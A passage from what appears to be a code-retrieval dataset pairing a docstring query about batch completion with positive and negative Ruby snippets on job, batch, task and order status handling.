@scheduled_appointment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
361334103642d99e6d29ff17c0987249
A Batch is considered complete when no jobs are pending or the only pending jobs have already failed. Any child batches must have also completed.
[ { "docid": "ea124d56cb4e22a875cf6a7de8b4dbd2", "score": "0.65507245", "text": "def complete?\n pending == failures && (child_count == 0 || child_count == @completed)\n end", "title": "" } ]
[ { "docid": "08bb0bb5b22ea7a701bf59425bcf1090", "score": "0.6182194", "text": "def batch_finished\n end", "title": "" }, { "docid": "94031429ba448187cc1152cf335a9c63", "score": "0.61481744", "text": "def complete\n # check that is not already complete\n if self.state != COMPLETE\n self.state = COMPLETE\n self.completed_date = DateTime.current\n self.save!\n end\n \n # call complete on each child\n self.children.each do |child| \n child.complete\n end\n\n # refresh parent completeness\n if !self.parent.nil?\n self.parent.is_complete? \n end\n end", "title": "" }, { "docid": "6c7d3a9ef935b65bb9ac61b8b0de7b30", "score": "0.61214244", "text": "def has_pending?\n self.class.job_run_class.has_pending?(@job, @batch)\n end", "title": "" }, { "docid": "1d2729bce39516955b3178a731e61881", "score": "0.6085263", "text": "def batch\n job && job.batch\n end", "title": "" }, { "docid": "bae78b6ed0f49585d789b6d48cd478fc", "score": "0.60210454", "text": "def is_complete?\n if self.state == COMPLETE\n self.children.each do |child|\n if !child.is_complete?\n return false\n end\n end\n return true\n\n else\n return false\n end\n end", "title": "" }, { "docid": "2cfda0cc85a6b60f2f3fd0dd3fff1ada", "score": "0.5982225", "text": "def incomplete?\r\n job_status != JobStatus::COMPLETED\r\n end", "title": "" }, { "docid": "1d289ec99b069c5577f1fe939a9198d9", "score": "0.59527445", "text": "def incomplete\n if self.state != INCOMPLETE or self.state != EXPIRED\n # only set as incomplete if before expiration\n if self.expiration_date.nil? or \n self.expiration_date >= Date.current \n self.state = INCOMPLETE\n else\n self.state = EXPIRED\n end\n self.completed_date = nil\n self.save!\n\n # refresh parent's completeness\n if !parent.nil?\n parent.is_complete?\n end\n end\n\n # call incomplete on each child\n self.children.each do |child|\n child.incomplete\n end\n end", "title": "" }, { "docid": "bf9d044dd65009a7dc67ee77a5d09012", "score": "0.5781208", "text": "def is_complete?\n if is_internal?\n old_state= self.state # hold old state to see if changed\n\n if self.children.empty?\n return self.state == Activity::COMPLETE # no children\n else\n self.children.each do |child|\n if !child.is_complete?\n if self.expiration_date.nil? or \n self.expiration_date >= Date.current\n self.state = Activity::INCOMPLETE\n else\n self.state = Activity::EXPIRED\n end\n self.completed_date = nil\n self.save!\n if !self.parent.nil? and old_state != self.state\n self.parent.is_complete?\n end\n return false\n end\n end\n\n if self.state != Activity::COMPLETE\n self.state = Activity::COMPLETE\n self.completed_date = DateTime.current\n if !self.parent.nil?\n self.parent.is_complete?\n end\n self.save!\n end\n return true\n end\n else\n return self.state == Activity::COMPLETE\n end\n end", "title": "" }, { "docid": "54c73fb4458ff2844af9644d7b71a852", "score": "0.5768315", "text": "def member_finished\n ## Check to see if all children are finished.\n if count_children_with_status(['READY', 'PROCESSING', 'ENQUEUE']) > 0\n self.update_attributes(:status => \"PROCESSING\") if status != 'PROCESSING'\n return\n end\n if count_children_with_status(['FAILED']) > 0\n self.update_attributes(:status => \"FAILED\") \n else\n self.update_attributes(:status => \"SUCCESS\") \n end\n \n end", "title": "" }, { "docid": "9877e590d58e39e6d315f0d7e7932e2a", "score": "0.5743306", "text": "def check_for_job_completion\n self.job.check_for_completion if complete?\n end", "title": "" }, { "docid": "79d1d8d711ea950dd564c9a80a41b9d5", "score": "0.5739375", "text": "def finish\n return unless @jobs\n @jobs.each(&:finish)\n end", "title": "" }, { "docid": "613bf847dcb66ccd79ca4a02b2bcc9a3", "score": "0.5721237", "text": "def update_incomplete_jobs\r\n job_ids = params[:ids]\r\n selected_batch = Job.find(job_ids[0]).batch\r\n job_ids.each do |job_id|\r\n Job.find(job_id).update_attributes(:processor_comments => params[:job][:processor_comments],:rejected_comment => params[:job][:processor_comments],\r\n :job_status => \"#{JobStatus::INCOMPLETED}\", :processor_status => \"#{ProcessorStatus::INCOMPLETED}\")\r\n end\r\n selected_batch.expected_completion_time = Time.now if selected_batch.expected_completion_time.blank?\r\n previous_batch_status = selected_batch.status\r\n selected_batch.status = BatchStatus::PROCESSING\r\n if previous_batch_status == BatchStatus::NEW && selected_batch.status == BatchStatus::PROCESSING &&\r\n selected_batch.processing_start_time.blank?\r\n selected_batch.processing_start_time = Time.now\r\n end\r\n selected_batch.save\r\n end", "title": "" }, { "docid": "4a9a5b650e77e706a8739d877122c7ff", "score": "0.57146823", "text": "def atleast_one_batch\n if batches.empty?\n errors.add(:base, \"Please ADD atleast ONE BATCH\") \n return false\n end\n end", "title": "" }, { "docid": "53f1f7da0872b938df63fd479fcfce45", "score": "0.5706373", "text": "def completed\n set_state(:completed)\n parent_op.child_completed(application) unless parent_op_id.nil?\n end", "title": "" }, { "docid": "736b18487801951ebf30f6c3067317e9", "score": "0.5672946", "text": "def incomplete?\r\n ![BatchStatus::OUTPUT_READY, BatchStatus::OUTPUT_GENERATED, BatchStatus::OUTPUT_EXCEPTION].include?(status)\r\n end", "title": "" }, { "docid": "34eade4024c69686fd9cb631a59db28b", "score": "0.56530315", "text": "def batch_complete?(id)\n mutex(id) do |bid|\n redis.llen(bid) == 0\n end\n end", "title": "" }, { "docid": "a1a7f83d08a93c4184efb55926be5a60", "score": "0.56455296", "text": "def complete_children\n if self.category.eql?('todo') and self.completed\n if self.children\n children = self.get_all_children\n children.each do |child|\n if child.completed.blank? or !child.completed\n child.update_attributes(:completed => true, :completed_at => self.completed_at, :zimbra_task_status => true)\n # MatterTask.update_all({:completed => true, :completed_at => self.completed_at}, {:id => child.id})\n end\n end\n end\n end\n end", "title": "" }, { "docid": "93b159caa451a625c4d57735b165f57e", "score": "0.5603266", "text": "def has_pending?(job, batch)\n sql = \"Select count(*) from #{@schema_name}.job_runs where job_id = '#{job.id}' and batch = '#{batch.to_json}' and ( status = 'queued' or status = 'running' );\"\n r = exec_sql(sql)\n count = r.first[\"count\"].to_i\n count > 0\n end", "title": "" }, { "docid": "6db41d3a56f75a3d8660864ca40353bc", "score": "0.5582985", "text": "def all_complete\n return if errors.any? || building_data_frozen?\n\n check_contract_details_completed\n check_contract_period_completed\n check_service_and_buildings_present\n check_service_and_buildings_completed\n end", "title": "" }, { "docid": "05d3255283551e6468c8ac010ba11b60", "score": "0.5470917", "text": "def batch?\n @batch\n end", "title": "" }, { "docid": "50a44a3ad59c45e2338fa2f4b6b9eddb", "score": "0.5449388", "text": "def check_if_finished\n return parent_check if parent\n\n st = status\n raise error_message(st) if st.failed?\n\n queued = st.queued?\n return [true, queued, st] if st.completed?\n\n [false, queued, nil]\n end", "title": "" }, { "docid": "2ac1b7f6a8dae171d9de5b4250d3daf4", "score": "0.5442357", "text": "def finished?\n FINAL_STATUSES.include?(transaction_status) || status == COMPLETED\n end", "title": "" }, { "docid": "254b5c8dd4af24a28cb70fd93a232132", "score": "0.54390526", "text": "def completed?\n !self.shift_jobs.empty?\n end", "title": "" }, { "docid": "6e0e6ee61e4b49e7840215f53070d428", "score": "0.5421667", "text": "def test_update_status\n batch = batches(:batch4)\n job_one = Job.create(:batch=>batch,:tiff_number=>1234,:check_number=>12131,:count=>12, :job_status => 'Complete', :estimated_eob => 12)\n job_two = Job.create(:batch=>batch,:tiff_number=>1231,:check_number=>12135,:count=>12, :job_status => 'Allocated', :estimated_eob => 12)\n\n # Check for complete\n job_two.job_status = 'Complete'\n job_two.update\n\n batch.update_status\n assert_equal 'Complete', batch.status\n assert_in_delta(batch.completion_time.to_i, Time.now.to_i,1)\n\n # Check for processing\n job_one.job_status = 'Processing'\n job_one.update\n batch.update_status\n assert_equal('Processing', batch.status)\n assert_nil batch.completion_time\n\n # Check for new\n job_one.job_status = 'New'\n job_one.update\n job_two.job_status = 'New'\n job_two.update\n batch.update_status\n assert_equal 'New', batch.status\n assert_nil batch.completion_time\n\n # one new and one complete\n job_one.job_status = 'New'\n job_one.update\n job_two.job_status = 'Complete'\n job_two.update\n batch.update_status\n assert_equal 'Processing', batch.status\n assert_nil batch.completion_time\n\n # QA Rejected\n job_one.job_status = 'QA Rejected'\n job_one.update\n job_two.job_status = 'Complete'\n job_two.update\n batch.update_status\n assert_equal 'Processing', batch.status\n assert_nil batch.completion_time\n\n # one HLSC Rejected and the other Complete\n job_one.job_status = 'HLSC Rejected'\n job_one.update\n job_two.job_status = 'Complete'\n job_two.update\n batch.update_status\n assert_equal 'HLSC Rejected', batch.status\n job_one.job_status = 'Complete'\n job_one.update\n batch.update_status\n assert_equal 'Complete', batch.status\n\n # All HLSC Verified\n job_one.job_status = 'HLSC Verified'\n job_one.update\n job_two.job_status = 'HLSC Verified'\n job_two.update\n batch.update_status\n assert_equal 'HLSC Verified', batch.status\n\n # One HLSC Rejected and one processor allocated\n job_one.job_status = 'HLSC Rejected'\n job_one.update\n job_two.job_status = 'Complete'\n job_two.update\n batch.update_status\n assert_equal 'HLSC Rejected', batch.status\n end", "title": "" }, { "docid": "d862f34dcf1cbe01b617319eb9adad68", "score": "0.54168075", "text": "def find_pending(job, batch)\n sql = \"Select * from #{@schema_name}.job_runs where job_id = '#{job.id}' and batch = '#{batch.to_json}' and (status = 'queued' or status = 'running' );\"\n job_run_query(sql)\n end", "title": "" }, { "docid": "65198a62071d93f6fad1b60a07d2c97f", "score": "0.54086405", "text": "def complete?\n @gapi.job_complete\n end", "title": "" }, { "docid": "f2133d36128f3bfab695825535f95bf6", "score": "0.5379314", "text": "def process\n by_time_batch\n by_waiting_batch\n rescue\n @logger.fatal \"Failed to process: #{$!}\"\n @logger.fatal $!.backtrace.join(\"\\n\")\n end", "title": "" }, { "docid": "0fda9df0cb42113ed397bd2b7c5be63a", "score": "0.5368848", "text": "def completed?\n job_completed?\n end", "title": "" }, { "docid": "37720bb4b10cbbbcd250cbee72767ead", "score": "0.5363718", "text": "def check_for_empty_batch?\n batch.empty?\n end", "title": "" }, { "docid": "3859a7f9b684d5febf2d978641bfe59e", "score": "0.53550035", "text": "def complete?\n finished? || cancelled? || failed? || job_failed? || timeout?\n end", "title": "" }, { "docid": "e920d9a2dba498933022acb414139abe", "score": "0.5349022", "text": "def test_batch_hooks\n assert_equal(false, Job.batch_exist?(@batch_id))\n\n assert_nothing_raised do\n 5.times { Resque.enqueue(Job, @batch_id, \"arg#{rand(100)}\") }\n end\n\n assert_equal(false, $batch_complete)\n assert_equal(false, Job.batch_complete?(@batch_id))\n assert(Job.batch_exist?(@batch_id))\n\n assert_nothing_raised do\n 4.times { Resque.reserve(:test).perform }\n end\n\n assert_equal(false, $batch_complete)\n assert_equal(false, Job.batch_complete?(@batch_id))\n assert(Job.batch_exist?(@batch_id))\n\n assert_nothing_raised do\n Resque.reserve(:test).perform\n end\n\n assert($batch_complete)\n assert(Job.batch_complete?(@batch_id))\n assert_equal(false, Job.batch_exist?(@batch_id))\n end", "title": "" }, { "docid": "7f1f50aba2d3a7bc433a0e57656da299", "score": "0.5333189", "text": "def completed?\n children.present? && (children_with_results.size == children.count)\n end", "title": "" }, { "docid": "3a1657e58eb595da9e4db9cbe1976b76", "score": "0.5329484", "text": "def job_completed?(id)\n job_started?(id) &&\n (job_passed?(id) || job_failed?(id))\n end", "title": "" }, { "docid": "9ef95e21c241b320724d7f981e1f6da7", "score": "0.53275466", "text": "def complete()\n if @status.status == 'running'\n @logger.info \"Workflow #{self.class.name} has completed successfully\"\n @status.finished\n end\n end", "title": "" }, { "docid": "7175c754e2ee4667ddfe0df3e817e553", "score": "0.5324477", "text": "def batch?\n @batch_response\n end", "title": "" }, { "docid": "d2854f1552e77f42092c978056f9136e", "score": "0.5319035", "text": "def complete?\n case @status\n when 'new', 'voting', 'running'\n false\n when 'complete'\n true\n else\n fail Exceptions::PushJobError, @job\n end\n end", "title": "" }, { "docid": "883513f96bfec2a593e64ce6c260e691", "score": "0.5303526", "text": "def start_batch\n if @batch.nil?\n @batch = []\n return true\n end\n\n return false\n end", "title": "" }, { "docid": "045a78093ba3e0bf3ff5b1bca54748ca", "score": "0.5293056", "text": "def finished?\n self.completed? || self.failed?\n end", "title": "" }, { "docid": "7029492da1c96a7f09398997e9def7a0", "score": "0.5267661", "text": "def was_successful?\n self.class.job_run_class.was_successful?(@job, @batch)\n end", "title": "" }, { "docid": "9fc334a2fa9ead653e6b7995fe49d348", "score": "0.52279496", "text": "def processing?\n return false if self.batch.blank?\n return false if !self.batch.methods.include? :status\n return (!self.batch.status.empty?) && (self.batch.status.count == 1) && (self.batch.status[0] == \"processing\")\n end", "title": "" }, { "docid": "9fc334a2fa9ead653e6b7995fe49d348", "score": "0.52279496", "text": "def processing?\n return false if self.batch.blank?\n return false if !self.batch.methods.include? :status\n return (!self.batch.status.empty?) && (self.batch.status.count == 1) && (self.batch.status[0] == \"processing\")\n end", "title": "" }, { "docid": "f3d32bf6f7465c822fab0d4f67c2e485", "score": "0.52232265", "text": "def update_task_if_children_tasks_are_completed\n if type == EducationDocumentSearchTask.name && children.last.completed?\n update!(status: Constants.TASK_STATUSES.completed)\n else\n update!(status: Constants.TASK_STATUSES.assigned)\n end\n end", "title": "" }, { "docid": "36e831845e4775c2a486a7e3ccd0d85d", "score": "0.5220181", "text": "def completed?\n self.status == STATUS_COMPLETED\n end", "title": "" }, { "docid": "bc136b9190a68ed4e5e85cb6bf928eac", "score": "0.5216539", "text": "def start_batch!\n if not start_batch\n raise NitroError.new, \"A batch is already being composed.\"\n end\n end", "title": "" }, { "docid": "00cd14a349914d39c02c457ce1a0dcef", "score": "0.5210441", "text": "def mark_as_completed!\n mark_state_complete!\n end", "title": "" }, { "docid": "2f2fc823e6e9680efb12c402d66f4a35", "score": "0.52015984", "text": "def completed?\n \t\tlatest_transaction.completed? unless transactions.empty?\n \tend", "title": "" }, { "docid": "c7a4ff2c7187e8d572c223048ee43d78", "score": "0.517285", "text": "def on_finish_batch; end", "title": "" }, { "docid": "dc50cd37f62690fbe3f088960c00e1db", "score": "0.5168387", "text": "def finished?\n campaign = Campaign.find(self.id)\n if campaign.finished\n throw(:abort)\n end\n end", "title": "" }, { "docid": "6da60de4d3d01e727cf5672e5dbcc8bf", "score": "0.51666087", "text": "def all_complete\n self.tasks.count == self.tasks.done.count\n end", "title": "" }, { "docid": "d292c8576cb216c3c4c8725a4e65e6c8", "score": "0.5132306", "text": "def rollup_status\n with_lock do\n stats = children.pluck(:status)\n return if stats.include?(PENDING) || stats.include?(PERFORMING)\n return fail! if stats.include?(FAILURE)\n success!\n end\n end", "title": "" }, { "docid": "18208db25b710f39b3270bc680ba9e92", "score": "0.51220727", "text": "def is_complete?\n return ApprovalState::COMPLETED_STATES.include? self.status.to_i\n end", "title": "" }, { "docid": "40e3bdc47443b0a99eedd1b362a77584", "score": "0.5115398", "text": "def job_ended?\n FINAL_JOB_TASK_STATUSES.include?(@task_status)\n end", "title": "" }, { "docid": "0b4afcbd6153f432f737c1a0dd2469cc", "score": "0.51130503", "text": "def qualified_for_output_generation? \r\n !batch_bundle.detect { |batch| batch.incomplete? }\r\n end", "title": "" }, { "docid": "b30f2308433359977d143fc4105ed6c0", "score": "0.51097924", "text": "def incomplete\n # check if an individual rep, complete reps of day if not\n if self.rep_parent.nil?\n self.repititions.\n where(:show_date => Date.current).each do |rep|\n rep.incomplete\n end\n return\n end\n\n if self.state == Activity::COMPLETE\n # only set as incomplete if before expiration\n if self.expiration_date.nil? or \n self.expiration_date >= Date.current \n self.state = Activity::INCOMPLETE\n else\n self.state = Activity::EXPIRED\n end\n self.completed_date = nil\n self.save!\n self.rep_parent.count = self.rep_parent.count - 1\n self.rep_parent.save!\n end\n end", "title": "" }, { "docid": "152c107784acf969c462bb18a43cdfb8", "score": "0.51030093", "text": "def complete?\n !pending?\n end", "title": "" }, { "docid": "64f69c596ecc11789383cbc65368664a", "score": "0.5083749", "text": "def all_jobs_hve_been_processed?(queue)\n (job_count(queue) == 0) && (working_job_count(queue) <= 1)\n end", "title": "" }, { "docid": "3e08c47c4da34b68cb36236231d72028", "score": "0.508006", "text": "def job_completed(job)\n report_success(job) if job['on_success']\n if job['period'] && job['period'].to_i > 0\n job['status'] = 'queued'\n job['make_after'] = job['period']\n job['args'].delete(:job_itself)\n storage.save(job) { |job| schedule(job) }\n else\n if JR.config[:remove_done_jobs]\n storage.destroy(job)\n else\n job['status'] = 'complete'\n storage.save(job)\n end\n end\n end", "title": "" }, { "docid": "0854d4f01b37ceb40af214994ee300ee", "score": "0.50750965", "text": "def finished?\n finished = nil\n active_item_orders = item_orders.where(active: true)\n if state_reached?(:fulfilled)\n if active_item_orders.length == 0\n finished = true\n else\n active_item_orders.each do |io|\n i = io.item\n if !i.obsolete\n last_transition = i.state_transitions.where(order_id: id).first\n\n if last_transition && (last_transition.to_state == i.final_state.to_s)\n finished = true\n else\n finished = false\n break\n end\n end\n end\n end\n end\n finished\n end", "title": "" }, { "docid": "6a9215b34faf0058ad441c7e458b3215", "score": "0.50584555", "text": "def finished?\n\t\t\t@children.nil? || @children.finished?\n\t\tend", "title": "" }, { "docid": "7bb47bd6e870f203f84bb8194d32b7b1", "score": "0.505461", "text": "def valid_within_batch?\n raise RuntimeError, \"Not a member of a batch\" unless bid\n\n Sidekiq::Batch.redis(bid) do |conn|\n conn.sismember(\"b-#{bid}-jids\", jid)\n end\n end", "title": "" }, { "docid": "76b6f281dbe2852d80600ccac006692b", "score": "0.5050726", "text": "def complete\n # check if an individual rep, complete reps of day if not\n if self.rep_parent.nil?\n self.repititions.\n where(:show_date => Date.current).each do |rep|\n rep.complete\n end\n return\n end\n\n if self.state != Activity::COMPLETE\n self.state = Activity::COMPLETE\n self.completed_date = DateTime.current\n self.save!\n self.rep_parent.count = self.rep_parent.count + 1\n self.rep_parent.save!\n end\n end", "title": "" }, { "docid": "63efc25b0c210d0e43fa7beb90aeceef", "score": "0.5049795", "text": "def done?\n @pb_list.empty? or @nb_iter >= MAX_ITER or @pb_list[0].complete?\n end", "title": "" }, { "docid": "26071ca91b7312c452e6ee60c4502ccb", "score": "0.50495833", "text": "def complete?\n status == \"Completed\"\n end", "title": "" }, { "docid": "ccd8ec8eca83164d62b6ebe19fbdc0b3", "score": "0.50384164", "text": "def completed?\n @progress != 'PENDING'\n end", "title": "" }, { "docid": "be980d26a00f9aee351625f38a0d88dc", "score": "0.50369835", "text": "def was_successful?(job, batch)\n sql = \"Select * from #{@schema_name}.job_runs where job_id = '#{job.id}' and batch = '#{batch.to_json}' and status = 'success';\"\n r = exec_sql(sql)\n r.cmd_tuples > 0\n end", "title": "" }, { "docid": "b4508f0107bcfefda90919345b261060", "score": "0.5027057", "text": "def complete\n return false if completed || self.empty?\n\n cart_items.collect do |item|\n return false if !item.can_purchase?\n end\n\n cart_items.collect do |item|\n item.purchase\n end\n\n self.update_columns(completed: true)\n true\n end", "title": "" }, { "docid": "a3e91971b7d91b217c6e42b92564208e", "score": "0.5009736", "text": "def batchable?\n spec[batch_key].size > 1\n end", "title": "" }, { "docid": "a56502443e37f6363d23df026a1a0a8f", "score": "0.50084513", "text": "def ensure_finished\n ensure_exists!\n unless end_time\n self.end_time = ::Time.now.utc\n @children.each(&:ensure_finished)\n end\n self\n end", "title": "" }, { "docid": "0e803fa3368c9a1c43a7ac9ef3d107d1", "score": "0.50016224", "text": "def complete?\n last_layer = true # If the previous layer had an empty branch\n\n each_depth do |layer, depth|\n return false if !last_layer\n nil_exists = false # If an empty branch exists at the current layer\n\n layer.each do |n|\n if n.nil?\n nil_exists = true\n elsif nil_exists\n return false\n end\n end\n\n last_layer = false if nil_exists\n end\n\n true\n end", "title": "" }, { "docid": "1f9e6cb41dfab6b6640bf18dbcbbfe53", "score": "0.5000276", "text": "def complete\n job.quantity - job.completed\n end", "title": "" }, { "docid": "886ef4bd81c9f87de36766d045db77d4", "score": "0.49993303", "text": "def finished?\n @__status == TaskStatus::COMPLETED ||\n @__status == TaskStatus::FAULTED ||\n @__status == TaskStatus::CANCELED\n end", "title": "" }, { "docid": "581cdb0dda617d37848d0c5726e657de", "score": "0.49985647", "text": "def complete!\n update_attributes(completed_at: Time.now)\n pause! if running?\n end", "title": "" }, { "docid": "f2d3255e49906b0146bdca07ee0acb88", "score": "0.49926794", "text": "def complete!\n return if completed?\n self.status = \"complete\"\n self.stop = Time.now.to_s\n end", "title": "" }, { "docid": "2d43cd650c0e30967be34710454e99a5", "score": "0.4991761", "text": "def completed?\n return true unless @state == PENDING_STATE\n @lock.lock\n begin\n @state != PENDING_STATE\n ensure\n @lock.unlock\n end\n end", "title": "" }, { "docid": "017894f3280580d2f2fdfe3cabaa3c81", "score": "0.4990182", "text": "def completed?\n @__status == TaskStatus::COMPLETED\n end", "title": "" }, { "docid": "fbefb18be06a6db09d4a1a75b8ff730c", "score": "0.49879444", "text": "def completed?\n @state.to_s =~ /finished|aborted|failed/\n end", "title": "" }, { "docid": "325ae83951dce16fb7fbe65ba1912cbd", "score": "0.49791554", "text": "def completed?\n raise \"completed? should be implemented by the extending class\"\n end", "title": "" }, { "docid": "2e5caf641190ebfaf4398328eae83778", "score": "0.49777582", "text": "def process_batch(batch)\n call([], :process_batch, batch.__calls)\n end", "title": "" }, { "docid": "8afba4728a920b6a9d82755ee8c1693d", "score": "0.49726343", "text": "def finish\n if batch.present?\n solr_service_connection.add(batch, softCommit: true, commit: false)\n batch.clear\n end\n end", "title": "" }, { "docid": "6d6338518856cd3a8e5334751bfb7d83", "score": "0.49715805", "text": "def exec__working_batch_failure_skipped *args\n @working_batch.shift\n send :exec__batch, @working_batch, *args\n end", "title": "" }, { "docid": "2d38b0dcb5f5df510d14faf57b6aaa31", "score": "0.4971387", "text": "def complete?\n true\n end", "title": "" }, { "docid": "555f3e608c7c552b1206aa1dbdb36119", "score": "0.49698588", "text": "def implement_requested_status\n self.task.baselines.each do |b|\n if b!=self and b.status!=:closed and b.status!=:final then\n b.close!\n end\n self.task.estimation_id=nil # no valid estimation anymore\n self.task.save!\n end\n end", "title": "" }, { "docid": "0662a57e16c7b4b7d957a7a9e075c7f6", "score": "0.49613202", "text": "def ready?\n @batch.size >= @size\n end", "title": "" }, { "docid": "0095500d1fe4a0ed9aee7a6ac34ad89c", "score": "0.49598652", "text": "def last_ended(job, batch)\n sql = \"Select * from #{schema_name}.job_runs where job_id = '#{job.id}' and batch = '#{batch.to_json}' and (status = 'success' or status = 'error') ORDER BY ended_at DESC;\"\n runs = job_run_query(sql)\n runs.first\n end", "title": "" }, { "docid": "5cda3027b6f2c83686b19ce3e46e923f", "score": "0.4954013", "text": "def check_for_stuck_jobs\n Job.incomplete.each do |job|\n if job.stuck_chunks?\n job.priority = 50\n job.save!\n job.resend_stuck_chunks \n elsif job.stuck_packing?\n job.send_pack_request\n end\n end\n end", "title": "" }, { "docid": "1a04d859185da1e9f3709aaa809bf6a2", "score": "0.49539453", "text": "def is_complete?\n # if complete check that still valid\n if self.state == Activity::COMPLETE\n if self.count < self.count_goal\n if self.expiration_date.nil? or \n self.expiration_date >= Date.current\n self.state = Activity::INCOMPLETE\n else\n self.state = Activity::EXPIRED\n end\n self.completed_date = nil\n self.save!\n return false\n else\n return true # state did not change - still complete\n end\n else\n # not complete, is it now?\n if self.count >= self.count_goal\n self.state = Activity::COMPLETE\n self.completed_date = DateTime.current\n self.save!\n return true\n\n else\n return false\n end\n end\n end", "title": "" }, { "docid": "b556a8416d21a16b72d30c0151d84b10", "score": "0.49453115", "text": "def finished!\n t = Time.now.utc\n update_attribute(:finished_at, t)\n # Save errors counts\n if errs = error_messages\n BackupJobError.increment_errors_count(*errs)\n end\n backup_source.backup_complete!\n on_finish :errors => errs, :messages => messages\n end", "title": "" }, { "docid": "262c5509341bc23ad4cc995b6d572dcd", "score": "0.4943305", "text": "def all_done!\n unless complete?\n self.work_started_at = Time.now unless work_started_at?\n self.work_finished_at = Time.now\n done!\n #update_properties - Now done at request level\n if component_id && own_version?\n update_installed_component_version\n end\n end\n\n containing_object = parent || request\n containing_object.state_changer = state_changer\n containing_object.prepare_steps_for_execution(self)\n\n # unless version.blank?\n # installed_component.update_attribute(:version, version) if installed_component\n # end\n the_steps = containing_object.is_a?(Request) ? containing_object.steps.top_level.reload : containing_object.steps.reload\n\n if the_steps.all? { |step| step.complete_or_not_executable? }\n\n if containing_object.respond_to?(:finish!)\n containing_object.finish! if containing_object.started?\n else\n containing_object.all_done!\n end\n\n end\n\n\n end", "title": "" }, { "docid": "22d4d0b8c9ffe1454d3ddd2a81fc736a", "score": "0.4935071", "text": "def completed_it\n self.complete = true\n end", "title": "" }, { "docid": "4d32c99eb08514847ba4e8ff10106071", "score": "0.49331713", "text": "def remove_finished_children\n # We call #to_a to get a copy of children, since we will remove\n # children in the block. Note that we can't use #delete_if here\n # since #children is a relation enumerator (not the relation list\n # itself)\n children = each_child.to_a\n for child in children\n child, info = child\n if info[:success].evaluate(child)\n remove_child(child)\n end\n end\n end", "title": "" }, { "docid": "1351c6835f7a10a4228d848ca2938515", "score": "0.49287796", "text": "def deps_completed?(user_id)\n completed = true\n self.deps.each do |dep|\n completed = false unless dep.status(user_id).completed\n end\n completed\n end", "title": "" }, { "docid": "9665c0dc73d1f77af50d1ffe5a4270bc", "score": "0.49143526", "text": "def complete\n if ! failure.nil?\n raise IllegalStateException, \"\"\n end\n\n if @completed\n raise IllegalStateException, \"Already Completed\"\n end\n @completed = true\n @external_task.remove_from_parent if ! @external_task.inCancellationHandler\n end", "title": "" }, { "docid": "7217e800fae7e642116666d58b689798", "score": "0.49107867", "text": "def completed?\n status.completed?\n end", "title": "" }, { "docid": "8df3eccd09a3e4b0619c6db75997dd20", "score": "0.49060684", "text": "def transaction_already_completed?\n if self.status != \"pending\"\n return false\n else\n true\n end\n end", "title": "" }, { "docid": "6a0a0e67388778ad57afb8338efea905", "score": "0.4904762", "text": "def finished!(info={})\n self.in_progress = false\n self.last_backup_finished_at = Time.now\n self.last_backup_job_id = info[:job_id]\n \n if info[:errors].nil? || info[:errors].empty?\n self.last_successful_backup_at = Time.now\n self.last_messages = info[:messages] if info[:messages]\n self.last_errors.clear if self.last_errors\n else\n self.last_failed_backup_at = Time.now\n self.last_errors = info[:errors]\n end\n # Do one time calculation of backup data items available & save\n unless self.items_saved\n @first_time_backup_data_available = self.items_saved = has_data?\n else\n @first_time_backup_data_available = false\n end\n save!\n end", "title": "" }, { "docid": "d65addecb8efa8b96949499cc5ccb699", "score": "0.4898582", "text": "def ensure_future_batch\n if !!@course_batch && @course_batch.expired?\n redirect_to :back, alert: 'Sorry. There but the batch has already started. Please select some different batch.'\n end\n end", "title": "" }, { "docid": "e8a2f12466b1eace46a3d187e43dc447", "score": "0.48951885", "text": "def complete!\n self.completed = true\n self.completed_at = Time.now.utc\n save! # TODO: With a bang?\n end", "title": "" }, { "docid": "d894d2b2b136bbec95d076d666e90170", "score": "0.48922637", "text": "def any_child_open?\n self.children.each do |e|\n return true unless e.completed\n end\n false\n end", "title": "" }, { "docid": "abf4fddfe07be28c564a208c71db8b3b", "score": "0.4890463", "text": "def after_complete_batch\n # => create output file\n @output_file = \"tmp/#{@batch_id.split('_').first}.xlsx\"\n package = Axlsx::Package.new\n error_sheet = package.workbook.add_worksheet(name: 'error')\n error_sheet.add_row ['error'] + @header\n success_sheet = package.workbook.add_worksheet(name: 'success')\n success_sheet.add_row @header\n package.serialize (@output_file)\n\n # => process success and error queues\n REDIS_BATCHES.lrange(@batch_success, 0, -1).each { |record| success_sheet.add_row(JSON.parse(record)) }\n REDIS_BATCHES.lrange(@batch_error, 0, -1).each { |record| error_sheet.add_row(JSON.parse(record)) }\n\n # => send file to batch owner\n package.serialize (@output_file)\n subject = \"#{REDIS_BATCHES.llen(@batch_success)} success, #{REDIS_BATCHES.llen(@batch_error)} errors\"\n # => lookup @batch_owner_id and send email\n\n # => set expiration for batch keys\n [@batch_counter, @batch_size, @batch_owner_id, @batch_success, @batch_error, @batch_header].each do |key|\n REDIS_BATCHES.expire(key, 1.week)\n end\n rescue => e\n Rails.logger.error \"#{self.name}.#{__method__} - #{e}\"\n end", "title": "" }, { "docid": "983bd293dceae5a951b3dedeb57d96aa", "score": "0.4887969", "text": "def finish!\n update_attributes!(:status => :done)\n self\n end", "title": "" } ]
c0c6f2a390a0e53becf97e6a94fd2b3d
Mark order as rejected
[ { "docid": "56a1f353bd4b474eb747269520b3c73c", "score": "0.6968169", "text": "def reject#!(user = nil)\n run_callbacks :rejection do\n # self.rejected_at = Time.now\n # self.rejecter = user if user\n self.status = 'rejected'\n save!\n # order_items.each(&:reject!)\n # deliver_rejected_order_email\n end\n end", "title": "" } ]
[ { "docid": "c340b5858ce07fd1954d22123941a41f", "score": "0.7306152", "text": "def request_mark_as_rejected\n begin\n self.status = MARK_REJECTED\n self.rejected_on = Time.now.to_date\n self.save!\n rescue\n return false\n end\n return true\n end", "title": "" }, { "docid": "c340b5858ce07fd1954d22123941a41f", "score": "0.7306152", "text": "def request_mark_as_rejected\n begin\n self.status = MARK_REJECTED\n self.rejected_on = Time.now.to_date\n self.save!\n rescue\n return false\n end\n return true\n end", "title": "" }, { "docid": "3a4f9e6f14556ec9445c1c5e6c1f2e13", "score": "0.6774049", "text": "def mark_as_disapproved!(msg)\n if (!payment || (payment && payment.refund!) ) && self.destroy\n UserMailer.rejected_promotion(self, msg).deliver # send rejected email\n true\n else\n payment.errors.full_messages.each{|msg| self.errors.add(:base, msg) }\n false\n end\n end", "title": "" }, { "docid": "40a36afd94eda00fd8b57fcadf3e5c80", "score": "0.6756277", "text": "def reject!(user = nil)\n transaction do\n run_callbacks :rejection do\n self.rejected_at = Time.now\n self.rejecter = user if user\n self.status = 'rejected'\n self.save!\n self.order_items.each(&:reject!)\n 